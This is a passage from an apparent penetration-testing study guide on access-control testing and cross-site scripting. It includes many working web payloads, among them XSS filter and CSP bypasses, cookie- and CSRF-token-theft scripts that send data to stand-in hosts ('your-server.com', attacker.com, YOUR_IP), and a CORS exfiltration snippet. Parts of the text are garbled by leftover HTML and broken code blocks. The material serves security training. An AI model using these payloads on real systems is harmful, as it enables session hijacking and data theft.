4. Look for responses with different sizes or status codes

5. Different size = different data = potential IDOR

Burp Suite Autorize extension:

Install from BApp Store

1. Log in as User A → configure Autorize with User B's session cookie

2. Browse as User A

3. Autorize automatically replays every request as User B

4. Flags responses where User B gets the same data as User A (access control violation)

5. Also flags where User B gets forbidden (correct behavior)

Color coding: Red = IDOR, Green = properly blocked

6.6.3 Horizontal vs Vertical Privilege Escalation

Horizontal Privilege Escalation

Horizontal privilege escalation occurs when a user accesses resources belonging to another user at the same privilege level. Alice (a regular user) accesses Bob's (also a regular user) data.

This is the classic IDOR scenario. Both users have the same permissions in terms of their role, but neither should access the other's data. The authorization check should verify not just "is this user authenticated and has the correct role" but "is this user the owner of this specific resource."

The authorization question: "Does this user have permission to perform this action on THIS specific resource?"

IDOR is horizontal privilege escalation. Finding another user's order, medical record, or private message by changing an ID in the URL is horizontal escalation.

Vertical Privilege Escalation

Vertical privilege escalation occurs when a user accesses resources or functions that require a higher privilege level than they have. A regular user accessing an administrator function is vertical escalation.

This is frequently caused by missing function-level authorization checks — the administrator's functions exist at accessible endpoints but do not check whether the requesting user is an administrator.

The hidden button fallacy:
The admin panel link is only shown to admins in the navigation menu. But the admin endpoints (/admin/users, /admin/config, /api/admin/delete) exist and are accessible to anyone who knows the URL or finds them through enumeration. The application enforces authorization only at the UI level, not at the server level.

Discovering hidden admin endpoints:

`bash

Directory brute force targeting admin paths:

gobuster dir -u https://target.com -w /usr/share/seclists/Discovery/Web-Content/common.txt \
-t 50 -x php,html,aspx,jsp,json

Targeted admin wordlist:

gobuster dir -u https://target.com -w /usr/share/seclists/Discovery/Web-Content/dirsearch.txt

Look for common admin paths:

/admin
/admin/users
/admin/dashboard
/management
/manager
/api/admin
/api/v1/admin
/internal
/_admin
/panel
/cp (control panel)
/wp-admin (WordPress)
/administrator (Joomla)
`

Testing the discovered endpoints:
For each discovered endpoint, test access with:

No authentication (logged out)
Regular user authentication
Premium user authentication (if applicable)
Admin authentication (if you have credentials)

Any endpoint that a regular user should not access but does is vertical privilege escalation.

Parameter-based privilege escalation:
`

Modifying role parameters in requests:

POST /api/profile/update
{"name": "Alice", "email": "alice@example.com", "role": "admin"}

URL parameter role override:

GET /dashboard?admin=true
GET /api/user?privilege=superadmin

Hidden form field manipulation:

Find in HTML source:

Change to:

(or intercept in Burp and modify)

6.6.4 Access Control Bypass Techniques

Technique 1 — HTTP Method Switching

An authorization check might be implemented only for specific HTTP methods. The endpoint might block GET /admin/users for regular users but not check POST /admin/users or PUT /admin/users.

`bash

In Burp Repeater, test each HTTP method against every sensitive endpoint:

GET /admin/users → 403 Forbidden
POST /admin/users → 200 OK (vulnerability!)
PUT /admin/users → 403 Forbidden
DELETE /admin/users → 200 OK (vulnerability!)
PATCH /admin/users → 403 Forbidden
HEAD /admin/users → 200 OK (headers match a 200 response = data is there)
OPTIONS /admin/users → 200 OK (reveals allowed methods)
`

Technique 2 — Path Traversal in Access Control

Some authorization systems check the exact URL path. Variants of the path that resolve to the same resource may bypass the check:

Original blocked:

GET /admin/users → 403

Path variant bypasses:

GET /ADMIN/users
GET /admin/users/
GET /admin//users
GET /admin/./users
GET /%61dmin/users (URL encoded 'a')
GET /admin%2fusers (encoded slash)
GET //admin/users

Rewrite rules: some frameworks treat these identically at the backend

GET /admin;param/users (path parameter injection)
GET /admin/users?param
GET /admin/.;/users
`

Technique 3 — X-Forwarded Headers for IP Bypass

Applications that restrict admin access to specific IP addresses often check the X-Forwarded-For header — which is trivially forgeable by clients.

Application blocks admin for non-internal IPs

But trusts X-Forwarded-For:

GET /admin/users HTTP/1.1
Host: target.com
X-Forwarded-For: 127.0.0.1
X-Forwarded-Host: localhost
X-Real-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1

Or try internal IP ranges:

X-Forwarded-For: 10.0.0.1
X-Forwarded-For: 192.168.1.1
X-Forwarded-For: 172.16.0.1
`

Technique 4 — Referrer Header Bypass

Some applications check the Referer header to ensure requests come from within the application — an access control by origin. This is trivially bypassable by adding the expected Referer:

Application only allows access to /admin if Referer is /admin/login:

GET /admin/dashboard HTTP/1.1
Host: target.com
Referer: https://target.com/admin/login
`

Technique 5 — Cookie/Token Manipulation

Authorization information stored in cookies or JWTs can be manipulated if improperly validated:

JWT payload manipulation (if signature is not validated):

Original JWT payload: {"user": "alice", "role": "user"}

Manipulated: {"user": "alice", "role": "admin"}

Cookie-based role storage (insecure design):

Original: role=user

Manipulated: role=admin

Base64 encoded role (common insecure pattern):

Original: dXNlcg== (base64 for "user")

Decode: user

Re-encode "admin": YWRtaW4=

Swap in cookie: role=YWRtaW4=

Technique 6 — CORS Misconfiguration Exploitation

CORS (Cross-Origin Resource Sharing) misconfigurations allow unauthorized cross-origin access to sensitive API endpoints.

`javascript
// Test if target.com reflects any Origin in CORS headers:
// Send request with custom Origin:
GET /api/sensitive-data HTTP/1.1
Host: target.com
Origin: https://attacker.com

// Response indicating misconfiguration:
Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Credentials: true

// If both are present: create a malicious page that makes authenticated
// cross-origin requests to target.com and reads the responses:
fetch('https://target.com/api/sensitive-data', {
credentials: 'include' // sends victim's cookies
}).then(r => r.json())
.then(data => {
// Exfiltrate data to attacker server
fetch('https://attacker.com/capture', {
method: 'POST',
body: JSON.stringify(data)
});
});
`

6.6.5 The Complete Authorization Testing Methodology

Before You Start — Build a Privilege Matrix

The most effective way to test authorization is systematically. Before testing, build a matrix of:

Roles in the application (anonymous, user, premium, admin, superadmin)
Resources and actions (read profile, edit profile, delete profile, view all profiles, etc.)
Expected access for each role (should have / should not have)

Then test each cell in the matrix: does the application actually enforce what the privilege matrix says should be enforced?

The Automated Authorization Testing Workflow with Burp

Autorize extension is the most efficient way to systematically test authorization:

`
Setup:

Install Autorize from Burp BApp Store
Log in as a high-privileged user (Admin) → capture and save the session headers
Log in as a lower-privileged user (User) → capture and save these session headers
Configure Autorize with the lower-privileged session headers
Log out and log in as Admin again (or keep Admin session)

Testing:

Browse the application as Admin — access all functions, all resources
Autorize automatically replays every request with the User session
Review Autorize's findings:
- Red: User got same/similar response as Admin → IDOR or privilege escalation
- Green: User got 403/401 or redirect → Access control working correctly
- Yellow: Inconclusive (different response but unclear if authorization enforced) `

API-Specific Authorization Testing

Modern applications expose REST or GraphQL APIs that require specific authorization testing approaches.

For REST APIs:
`bash

Test all discovered endpoints with different credential levels:

First, enumerate API endpoints from:

- JS files in browser

- Burp proxy history

- API documentation (/swagger, /api-docs, /redoc, /.well-known/)

- robots.txt, sitemap.xml

Test each endpoint with:

1. No token (unauthenticated)

curl -X GET https://target.com/api/v1/users

2. Regular user token

curl -X GET https://target.com/api/v1/users \
-H "Authorization: Bearer USER_TOKEN"

3. Admin token (if available)

curl -X GET https://target.com/api/v1/users \
-H "Authorization: Bearer ADMIN_TOKEN"

4. Different user's token testing IDOR

curl -X GET https://target.com/api/v1/users/1043 \
-H "Authorization: Bearer USER_A_TOKEN"

If User A can see User B's profile → IDOR

For GraphQL APIs:
GraphQL requires special consideration because all queries go to a single endpoint.

`bash

Introspection (reveals all available types and fields):

curl -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query": "{ __schema { types { name fields { name } } } }"}'

Test queries that should require admin:

curl -X POST https://target.com/graphql \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"query": "{ allUsers { id email role passwordHash } }"}'

Tools for GraphQL security testing:

InQL (Burp extension): automated GraphQL schema analysis and attack surface mapping

GraphQL Cop: https://github.com/dolevf/graphql-cop

Documenting Authorization Findings Effectively

Authorization findings require careful documentation because the business impact depends on what data or functions were accessed, not just whether access control failed abstractly.

For each finding, document:

The specific endpoint or resource where the finding was identified
The user role that should not have access
The exact HTTP request that demonstrated the bypass
The HTTP response showing the unauthorized data or action
The specific data or function exposed (be specific — "accessed order ID 88234 belonging to user alice@example.com")
The business impact: what could a malicious actor do with this access?
The reproduction steps: exact request sequence to demonstrate the finding

A clear, well-documented authorization finding is one of the most impactful items in a penetration test report because it directly demonstrates business-relevant data exposure with concrete evidence.

— Sections 6.5 and 6.6 are complete. —

Module 6 — Sections 6.7, 6.8, 6.9, and 6.10

CompTIA PenTest+ / Ethical Hacking Certification Series
Professional Reference Guide — GitHub Edition
XSS · CSRF · SSRF · Clickjacking · Directory Traversal · Cookie Manipulation

6.7 Understanding Cross-Site Scripting (XSS) Vulnerabilities
- 6.7.1 Overview — What XSS Really Is and Why It Matters
- 6.7.2 Reflected XSS Attacks
- 6.7.3 Practice — Reflected XSS Attacks
- 6.7.4 Stored XSS Attacks
- 6.7.5 Practice — Stored XSS Attacks
- 6.7.6 XSS Evasion Techniques
- 6.7.7 XSS Mitigations
- 6.7.8 Lab — Cross-Site Scripting
6.8 Understanding CSRF/XSRF and Server-Side Request Forgery
- 6.8.1 Overview — CSRF and SSRF
- 6.8.2 Practice — CSRF and SSRF Attacks
6.9 Understanding Clickjacking
6.10 Exploiting Security Misconfigurations
- 6.10.1 Overview
- 6.10.2 Directory Traversal Vulnerabilities
- 6.10.3 Practice — Directory Traversal
- 6.10.4 Cookie Manipulation Attacks

6.7 Understanding Cross-Site Scripting (XSS) Vulnerabilities

6.7.1 Overview — What XSS Really Is and Why It Matters

The Precise Definition and the Mindset Shift

Cross-Site Scripting, universally abbreviated XSS (to avoid confusion with CSS — Cascading Style Sheets), is a class of vulnerabilities where an attacker injects malicious client-side code — almost always JavaScript — into a web page that is subsequently viewed by other users. The browser executing that page has no way to distinguish between the application's own legitimate JavaScript and the attacker's injected script. Both run with the same origin, the same trust level, and the same access to the page's DOM, cookies, and data.

Here is the mindset shift that separates average practitioners from skilled ones: XSS is not primarily an "alert box" vulnerability. The alert box — <script>alert(1)</script> — is the proof-of-concept that confirms JavaScript executes. But the actual attack is anything you can do with JavaScript running in the victim's browser context. That context is extremely powerful:

Read every cookie accessible to the domain (including session tokens, unless HttpOnly)
Make authenticated HTTP requests on behalf of the user — with their session, to their bank, to their SaaS platform, to their corporate intranet
Read the entire DOM — extracting form values, CSRF tokens, displayed sensitive data
Modify the DOM — changing what the user sees, injecting fake login forms, replacing download links with malicious ones
Access the browser's Web Storage (localStorage, sessionStorage) — which often contains JWT tokens
Use the browser as a pivot to attack internal networks via SSRF-through-XSS
Redirect the user to attacker-controlled pages
Capture keystrokes in real time
Take screenshots of the current page using browser APIs
Use the browser as a botnet node for DDoS or for making requests to other sites

The impact of XSS ranges from low (reflected XSS on a low-traffic page with no sensitive functionality) to critical (stored XSS in an admin panel that deploys the same payload to every administrator who views it, combined with CSRF token extraction to perform administrative actions). Context determines severity. One of the most important professional skills is recognizing and communicating which context makes an XSS finding critical rather than medium.

The Three Types of XSS — Not Three Variations, Three Different Architectures

The three XSS types differ fundamentally in where the payload is stored and how it reaches the victim's browser. This distinction determines persistence, attack reach, detection difficulty, and exploitation technique.

Reflected XSS: The payload is embedded in the request (typically a URL parameter) and reflected directly in the response. Not stored anywhere server-side. Requires the attacker to deliver the crafted URL to the victim. Affects one victim at a time.

Stored XSS (Persistent XSS): The payload is stored on the server (database, filesystem, cache) and served to every user who accesses the affected page. No URL delivery needed. Affects every user who views the infected content.

DOM-based XSS: The vulnerability exists entirely in client-side JavaScript. The server never sees the malicious payload — the JavaScript on the page reads from an attacker-controlled source (URL fragment, document.location, document.referrer, window.name) and writes it to a dangerous DOM sink without sanitization. The server's response may be perfectly safe — the vulnerability lives in the browser.

Understanding DOM XSS requires understanding DOM sources and sinks, which we will cover in detail.

6.7.2 Reflected XSS Attacks

How Reflected XSS Works — The Mechanism

Reflected XSS is the most basic and most commonly encountered XSS type. The attack flow is:

The application receives user-controlled input (from a URL parameter, a form field, a search query)
The application embeds this input directly into the HTML response without encoding it
The victim's browser parses the HTML, encounters the injected script, and executes it

The "reflection" is literal — the server reflects the input back in the output. The server is acting as a delivery mechanism for the attacker's payload, using the victim's own browser as the execution environment.

A vulnerable search endpoint might look like this in PHP:

`php <?php // VULNERABLE: user input reflected directly into HTML $search = $_GET['q']; echo "<h2>Results for: $search</h2>"; ?> `

When a user searches for "laptop", the HTML output is:
`html

Results for: laptop

When an attacker crafts the URL https://target.com/search?q=<script>alert(1)</script>, the output becomes:
`html

Results for: alert(1)

The browser parses the HTML, reaches the <script> tag, and executes the JavaScript.

The Delivery Problem — Phishing as the Attack Vector

Reflected XSS requires the attacker to deliver the crafted URL to the victim. This is commonly done through:

Phishing emails with embedded links
Social media messages
QR codes
Other websites with redirect capabilities (open redirect chains)
Short URL services that obscure the actual URL

The trust factor is critical: because the URL begins with the victim's trusted domain (https://victim-bank.com/search?q=...), the victim may not notice anything suspicious. They trust the domain, click the link, and their own browser executes the attacker's code under the bank's origin.

Context Matters Enormously — Where is the Reflection?

The context where your input is reflected determines which characters are dangerous and what payload syntax is required. This is the most important technical concept in XSS:

HTML body context:
Input is reflected between HTML tags.
`html

Search results for: [INPUT]

Dangerous characters:<,>,&Basic payload:alert(1)`

HTML attribute context:
Input is reflected inside an HTML attribute value.
`html <input value="[INPUT]" type="text"> `
You must first close the attribute, then close the tag, then inject script:
" onmouseover="alert(1)" — adds an event handler attribute
"><script>alert(1)</script> — closes the attribute and tag, injects new element

JavaScript string context:
Input is reflected inside a JavaScript string literal.
`javascript var searchTerm = '[INPUT]'; `
You must break out of the string first:
'; alert(1); //
This closes the string, executes the script, and comments out the remainder.

HTML attribute with JavaScript context (event handlers):
`html <img src="x" onerror="handleError('[INPUT]')"> `
Escape the JavaScript string context:
'); alert(1); //

URL context:
Input is reflected inside a URL attribute like href or src:
`html <a href="[INPUT]">Click here</a> `
Use JavaScript protocol:
javascript:alert(1)

Understanding context is the difference between a tester who confirms XSS and one who can actually exploit it. If you inject <script>alert(1)</script> but the reflection is inside a JavaScript string, it will not work. If the reflection is inside an HTML attribute, you need attribute-context payloads. Recognizing context from the page source is a fundamental skill.

DOM XSS — A Completely Different Attack Architecture

DOM-based XSS requires a shift in how you think about the attack. In reflected and stored XSS, the vulnerability is that the server outputs unsanitized data into HTML. In DOM XSS, the server's output is fine. The vulnerability is in the client-side JavaScript that reads from a source and writes to a sink without sanitization.

Sources — where the JavaScript reads attacker-controlled data:

document.URL / document.location — current URL
document.location.href — full URL including fragment (#)
document.location.hash — the fragment identifier (after #) — never sent to server
document.referrer — referring page URL
document.cookie — cookie values
localStorage / sessionStorage — web storage
window.name — survives page navigation across origins
postMessage events — messages from other frames or windows

Sinks — where the JavaScript writes data and dangerous execution can occur:

element.innerHTML = source — most dangerous: injects arbitrary HTML including scripts
document.write(source) — writes raw HTML to the document
eval(source) — executes the source as JavaScript code directly
setTimeout(source, time) — executes string as JavaScript
setInterval(source, time) — executes string as JavaScript
element.src = source — if set to javascript: protocol
window.location = source — can navigate to javascript: URL
element.setAttribute('onclick', source) — adds executable event handlers

DOM XSS example:

The URL: https://target.com/page#<script>alert(1)</script>

The client-side JavaScript:
`javascript // VULNERABLE: reads from URL fragment (never sent to server) and writes to innerHTML document.getElementById('welcome').innerHTML = document.location.hash.substring(1); `

Because the hash is read client-side and written to innerHTML, the server never sees the payload. Server logs show no injection. Server output is clean HTML. Yet the browser executes the attacker's script.

Why DOM XSS is harder to find:
Traditional web scanners send HTTP requests and analyze responses. Since the server's response contains no injection in DOM XSS, response-based scanning misses it completely. DOM XSS requires JavaScript execution for analysis — tools like Burp Suite's DOM Invader or DOMPurify's test suite can find these, as can manual JavaScript code review.

`javascript
// Tools and techniques for DOM XSS hunting:

// 1. Burp Suite DOM Invader (browser extension):
// Automatically instruments the DOM to detect sources and sinks
// Navigate the target application with DOM Invader active
// It highlights every source→sink flow for investigation

// 2. Manual source review — search JS files for dangerous patterns:
// These regex patterns in source code indicate potential DOM XSS sinks:
innerHTML
outerHTML
document.write
document.writeln
eval(
setTimeout(
setInterval(
location.href
location.hash
location.search
`

6.7.3 Practice — Reflected XSS Attacks

The Step-by-Step Testing Methodology

Reflected XSS testing is systematic: find inputs, understand the reflection context, craft context-appropriate payloads, confirm execution.

Step 1: Find all input reflection points

Every parameter that might be reflected must be tested:

URL query parameters: ?search=, ?id=, ?name=, ?message=
URL path segments: /user/alice where "alice" appears in the response
POST body parameters: form inputs reflected back on error pages
HTTP headers: User-Agent, Referer, X-Forwarded-For (some appear in error pages or analytics)

Step 2: Send a unique test string to identify reflection

Before injecting JavaScript, identify where and how your input appears in the HTML. Send a unique, harmless string:
` xss123test `
Search the page source for this string. Find every location where it appears and note the surrounding HTML context.

Step 3: Determine the context and craft the appropriate payload

Context Found	Your Test String Appears In	Context-Breaking Payload
Between HTML tags	`<p>xss123test</p>`	`<script>alert(1)</script>`
Inside double-quoted attribute	`value="xss123test"`	`" onmouseover="alert(1)`
Inside single-quoted attribute	`value='xss123test'`	`' onmouseover='alert(1)`
Inside JavaScript string (double)	`var x = "xss123test";`	`"; alert(1); //`
Inside JavaScript string (single)	`var x = 'xss123test';`	`'; alert(1); //`
Inside JavaScript template literal	var x = `xss123test`;	` ; alert(1);
Inside HTML href/src attribute	`href="xss123test"`	`javascript:alert(1)`
After `?` in URL inside href	`href="/path?x=xss123test"`	`"><script>alert(1)</script>`

Step 4: Test the payload, observe the result

Use Burp Suite Repeater to send modified requests. Observe the response in Burp's HTML Render tab. When the alert fires, XSS is confirmed.

Practicing on DVWA — Reflected XSS:

DVWA's Reflected XSS page (Low security) takes a "What's your name?" input and reflects it back.

`
Input: alert('XSS')
Result: Alert fires — XSS confirmed at Low security

Medium security adds some filtering. Test with:

High security: Read the source code to see exactly what filtering is applied,
then craft a bypass specific to that filter.
`

The Impact Demonstration — From Alert to Session Theft

An alert(1) payload is proof of concept. In a real assessment, you need to demonstrate actual impact to convey the true severity. The most impactful and clearest demonstration is session cookie theft:

`javascript
// Session theft payload — sends the victim's cookies to your server:

var img = new Image(); img.src = 'https://your-server.com/capture?cookie=' + encodeURIComponent(document.cookie);

// For HttpOnly cookies (not readable via document.cookie), demonstrate XSS impact
// by making an authenticated request and exfiltrating the response:

fetch('/api/user/profile') .then(r => r.json()) .then(data => { fetch('https://your-server.com/capture', { method: 'POST', body: JSON.stringify(data) }); });

// CSRF token theft — enables forging authenticated requests:

var req = new XMLHttpRequest(); req.open('GET', '/account/settings', true); req.onload = function() { var match = req.responseText.match(/name="csrf_token" value="([^"]+)"/); if (match) { fetch('https://your-server.com/capture?csrf=' + match[1]); } }; req.send();

Setting up a simple capture server on Kali:
`bash

Python HTTP listener (captures GET requests):

python3 -m http.server 8000

Ngrok for tunneling (makes your local server accessible from the internet):

ngrok http 8000

Returns a public URL like: https://abc123.ngrok.io

Your capture URL: https://abc123.ngrok.io/capture?cookie=...

Incoming cookie captures appear in ngrok's web interface at localhost:4040

6.7.4 Stored XSS Attacks

Why Stored XSS Is More Dangerous Than Reflected

Stored XSS (also called persistent XSS) changes the attack model fundamentally. Instead of needing to deliver a crafted URL to a specific victim, the attacker injects a payload that persists on the server and executes for every user who views the infected content — automatically, without any further attacker action.

Consider these scenarios:

Scenario 1 — Comment section XSS:
An attacker posts a comment containing a script payload on a blog with 50,000 readers. Every person who loads the blog page executes the script. The attacker's payload runs in 50,000 browsers over the next days and weeks. The attacker only acted once.

Scenario 2 — Stored XSS in an admin notification panel:
An attacker submits a support ticket containing a payload. When any administrator opens the support queue to read the ticket, the script executes in their privileged browser session. The attacker can extract the admin's CSRF token, use it to add a new administrator account, and achieve administrative access to the application — all triggered when an admin clicks "View Tickets."

Scenario 3 — Profile XSS:
An attacker stores a payload in their profile biography. Any user who views that profile executes the script. If the biography is displayed on a social platform with millions of users, the scale is massive.

The severity hierarchy: Stored XSS in an admin-visible location is almost always Critical. Stored XSS visible only to the attacker themselves is Low (they are attacking themselves). Stored XSS visible to regular users is High. The location and audience of the persistence is the primary severity determinant.

Where Stored XSS Appears — Attack Surface Mapping

Every location where user input is stored and subsequently displayed to other users is a potential stored XSS target:

Comment fields on blog posts, articles, tickets
Forum posts and replies
User profile fields (name, biography, location, job title)
Product reviews and ratings
Chat messages
Log viewers that display user activity
Error logs rendered in web-based admin panels
User-Agent and Referer headers stored in access logs
Upload filenames displayed in file management interfaces
Email addresses displayed in admin panels (if registered with a malicious address)
Any form of user-generated content displayed to others

The subtle attack surfaces often missed:

HTTP headers are frequently logged and displayed in admin analytics dashboards. If the admin panel shows "Recent Requests" with the User-Agent and Referer from each visitor, storing XSS in those headers provides persistent execution in every admin's browser when they view the analytics panel.

File upload attack: Upload a file with a name like "><script>alert(1)</script>.jpg. If the filename is stored in the database and displayed unsanitized in the file management interface, every user viewing that interface executes the payload.

Stored XSS vs Second-Order Injection

Second-order injection is a related concept worth understanding. In standard stored XSS, the payload is injected and executed on the same page. In second-order injection, the payload is stored safely during initial input but then incorporated into a dangerous context later — perhaps when the data is used in a different part of the application that applies different (weaker) sanitization.

For example: a username is stored with HTML entities escaped, so the profile creation page is safe. But when the username is used to generate an email ("Hello [username]," + email_body), and that email content is later displayed in the application's sent-mail viewer with different encoding settings, the stored data becomes executable.

Testing for second-order injection requires tracing how stored data flows through the application — which requires understanding the application's full functionality and data flows, not just testing input fields in isolation.

6.7.5 Practice — Stored XSS Attacks

Testing Stored XSS in DVWA

DVWA's Stored XSS module simulates a guestbook where users leave messages. The name and message are stored in the database and displayed to all visitors.

Low security test:
`
Name: Attacker
Message: alert(document.cookie)

Result: Every visitor to the guestbook page sees the cookie alert.
The message persists until the administrator clears the database.
`

Impact escalation — steal admin session:
`javascript
// In DVWA's Stored XSS (Low), inject a payload that phones home with cookies:

document.write('<img src="http://YOUR_IP:8000/steal?c='+document.cookie+'" />')

// Start your listener:
python3 -m http.server 8000

// When the admin reviews the guestbook, your listener receives:
// GET /steal?c=PHPSESSID=abc123; security=low HTTP/1.1

// Import that PHPSESSID cookie in your browser:
// You are now the admin.
`

Medium security bypass:
Medium security strips <script> tags. Use event handler payloads that do not require the script tag:
<img src=x onerror=alert(1)> <svg/onload=alert(1)> <body/onload=alert(1)> <input autofocus onfocus=alert(1)> <details open ontoggle=alert(1)>

The professional approach — BeEF hook for full browser control:
Instead of a simple alert, inject BeEF's hook URL to turn the victim's browser into a command-and-control node:

`html

When the victim loads the infected page, their browser connects to BeEF. You can then execute dozens of attack modules — screenshots, keylogging, credential phishing with fake dialogs, port scanning the internal network, and more.

6.7.6 XSS Evasion Techniques

The Filter Bypass Mindset

Filters that block XSS are security controls that stand between your payload and execution. Understanding how filters work — and where they fail — is essential for both penetration testing (to confirm real impact) and for defenders (to understand the limits of their controls).

The key insight: most XSS filters are blacklist-based — they block specific strings like <script> or onerror=. Blacklists are inherently limited because the HTML specification and browser behavior are extraordinarily permissive. Browsers are designed to render malformed, incomplete, and unusual HTML as gracefully as possible. This permissiveness creates thousands of ways to achieve script execution that bypass any blacklist.

Technique 1 — Case Variation

HTML tags are case-insensitive. JavaScript keywords are case-sensitive, but event handler names are not (browsers normalize them):
`html

alert(1) alert(1) alert(1)

Technique 2 — Encoding the Payload

Browsers decode multiple layers of encoding before executing. If filters operate on the raw input but browsers decode before rendering:

HTML entity encoding — browser decodes before DOM interpretation:

Decimal HTML entities:

Hex HTML entities:

URL encoding (for parameters):

%3Cscript%3Ealert(1)%3C%2Fscript%3E

Double URL encoding:

%253Cscript%253E
→ First decode: %3Cscript%3E
→ Second decode: </p> <h1> <a name="javascript-unicode-escapes-inside-js-string-contexts" href="#javascript-unicode-escapes-inside-js-string-contexts" class="anchor"> </a> JavaScript unicode escapes (inside JS string contexts): </h1> <p>\u003cscript\u003ealert(1)\u003c/script\u003e</p> <h1> <a name="javascript-hex-escapes" href="#javascript-hex-escapes" class="anchor"> </a> JavaScript hex escapes: </h1> <p>\x3cscript\x3ealert(1)\x3c/script\x3e<br> `<code></code></p> <h4> <a name="technique-3-alternative-tags-and-event-handlers" href="#technique-3-alternative-tags-and-event-handlers" class="anchor"> </a> Technique 3 — Alternative Tags and Event Handlers </h4> <p>When <code><script></code> is blocked, hundreds of other tags with event handlers work:</p> <p><code></code>`html</p>  <p><img src=x onerror=alert(1)><br> <img src=x onerror="alert(1)"><br> <img src="javascript:alert(1)"></p>  <p><svg onload=alert(1)><br> <svg><script>alert(1)

<br> <keygen autofocus onfocus=alert(1)></p>  <p><details open ontoggle=alert(1)><br> <details ontoggle=alert(1) open></p>  <p><body onload=alert(1)><br> <body onscroll=alert(1)><br> <body onresize=alert(1)><br> <body onpageshow=alert(1)></p>  <p><marquee onstart=alert(1)><br> <meter onmouseover=alert(1)><br> <object data=javascript:alert(1)></p> <iframe src=javascript:alert(1)> ``` #### Technique 4 — Breaking Out of Attribute Context When input is inside an attribute value: ```html  <input value="[INJECTION]" type="text">  "><script>alert(1)</script>  " onmouseover="alert(1)  " onfocus="alert(1)" autofocus="  ";<script>alert(1)</script>   <input value=[INJECTION] type=text> → Inject: onmouseover=alert(1)  ``` #### Technique 5 — Breaking Out of JavaScript Context ```javascript // Input is inside a JS string: var name = '[INJECTION]'; // Payloads: '; alert(1); // // Close string, execute, comment rest ';alert(1)// // Minimal whitespace \'; alert(1); // // If backslash escaping is flawed '-alert(1)-' // Arithmetic trick stays in expression // Template literal context: var name = `[INJECTION]`; // Payload: `; alert(1); // ${alert(1)} // Template literal expression injection // Inside function call: setTimeout('[INJECTION]', 1000); // Payload (becomes executable when setTimeout runs): alert(1) ``` #### Technique 6 — Whitespace and Separator Tricks ```html  <img src=x onerror=alert(1)>  <scr\x00ipt>alert(1)</scr\x00ipt>  <img src=x onerror = alert(1)>  <img/src=x/onerror=alert(1)> ``` #### Technique 7 — JavaScript Without Parentheses or Quotes Some WAFs block `alert(` or function calls with parentheses: ```javascript // Call without parentheses using tagged template literals (ES6): alert`1` alert`XSS` // Call via various indirect methods: [1].find(alert) // Passes alert to Array.find which calls it [1].every(alert) [1].filter(alert) [1].forEach(alert) // Using throw: throw alert(1) // Chaining: location=`javascript:alert\`1\`` // Via Function constructor: Function`a${alert(1)}``` (new Function('alert(1)'))() ``` #### Technique 8 — Mutation XSS (mXSS) Mutation XSS exploits inconsistencies between how a sanitizer parses HTML and how the browser subsequently parses the same sanitized string when it is inserted into the DOM. The sanitizer sees safe input. The browser's DOM parser mutates the sanitized string during rendering, re-creating a dangerous element. This is the most sophisticated XSS bypass class and is why even mature sanitization libraries like DOMPurify have historically had mXSS bypasses. The browser's HTML parser is a complex, quirky piece of software with thousands of special cases, and sanitizers sometimes miss edge cases in parsing behavior. ```html   <form><math><mtext></form><form><mglyph><svg><mtext><style><path id="</style> <img onerror=alert(1) src>"> ``` For current mXSS payloads, consult PortSwigger's XSS cheat sheet which is actively maintained and updated. #### Technique 9 — CSP Bypass Content Security Policy (CSP) is the primary defense against XSS exploitation. Even when XSS exists, a strong CSP prevents the injected script from executing or from making unauthorized requests. But CSP is frequently misconfigured in ways that allow bypass. **Bypass 1 — `unsafe-inline` present:** ``` Content-Security-Policy: script-src 'self' 'unsafe-inline' ``` `unsafe-inline` allows inline scripts entirely, rendering CSP useless against XSS. Any payload works. **Bypass 2 — `unsafe-eval` present:** ``` Content-Security-Policy: script-src 'self' 'unsafe-eval' ``` `unsafe-eval` allows `eval()`, `setTimeout(string)`, `setInterval(string)`, and `Function()`. Even if inline scripts are blocked, these vectors remain. **Bypass 3 — JSONP endpoints on whitelisted domains:** ``` Content-Security-Policy: script-src 'self' https://trusted-cdn.com ``` If `trusted-cdn.com` hosts a JSONP endpoint (`?callback=alert(1)`), it can be used to execute arbitrary JavaScript under the whitelisted origin: ```html <script src="https://trusted-cdn.com/api/data?callback=alert(1)"></script> ``` **Bypass 4 — Angular, Vue, or other framework injection via whitelisted CDN:** If the CSP whitelists a CDN that hosts Angular or Vue: ```html <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.3/angular.min.js"></script> <div ng-app ng-csp>{{constructor.constructor('alert(1)')()}}</div> ``` **Bypass 5 — base-uri not set:** If CSP does not include `base-uri 'none'`, an attacker can inject a `<base>` tag to change the base URL for all relative links, then serve malicious scripts from their own domain: ```html <base href="https://attacker.com/"> ``` All relative script paths now load from the attacker's server. **Bypass 6 — Nonce reuse or predictable nonces:** CSP with nonces should generate a fresh random nonce per page load. If the nonce is static or predictable, it can be used in injected scripts: ```html   <script nonce="abc123">alert(1)</script> ``` **Testing CSP with online tools:** Use [https://csp-evaluator.withgoogle.com](https://csp-evaluator.withgoogle.com) to analyze any CSP header and identify bypass vectors automatically. --- ### 6.7.7 XSS Mitigations #### Defense 1 — Context-Aware Output Encoding (The Primary Defense) Output encoding converts special characters into safe representations for the rendering context. This is the most important XSS defense. The key is using the right encoding for the right context — wrong context encoding is not protective. | Output Context | Encoding Required | Example | |----------------|------------------|---------| | HTML body | HTML entity encoding | `<` → `<`, `>` → `>`, `"` → `"` | | HTML attribute (quoted) | HTML attribute encoding | All special chars encoded | | JavaScript string | JavaScript Unicode escaping | `'` → `\x27`, `<` → `\x3C` | | URL parameter | URL encoding | `<` → `%3C` | | CSS value | CSS hex encoding | `<` → `\3C` | | JSON in HTML | JSON encoding + HTML encoding | Double encoded | Frameworks that auto-encode: - **React**: JSX auto-encodes all expressions (`{userInput}` is safe; `dangerouslySetInnerHTML` is not) - **Angular**: Template binding (`{{}}`) auto-encodes; `[innerHTML]` binding does not - **Vue**: Template binding auto-encodes; `v-html` does not **Never use:** - `innerHTML = userInput` — injects raw HTML - `document.write(userInput)` — injects raw HTML - `eval(userInput)` — executes as JavaScript #### Defense 2 — Content Security Policy (CSP) A properly configured CSP is a significant barrier to XSS exploitation, even when the vulnerability exists. The modern recommended CSP approach: ``` Content-Security-Policy: default-src 'none'; script-src 'nonce-{random}' 'strict-dynamic'; style-src 'nonce-{random}'; img-src https:; font-src https:; connect-src 'self'; frame-ancestors 'none'; base-uri 'none'; form-action 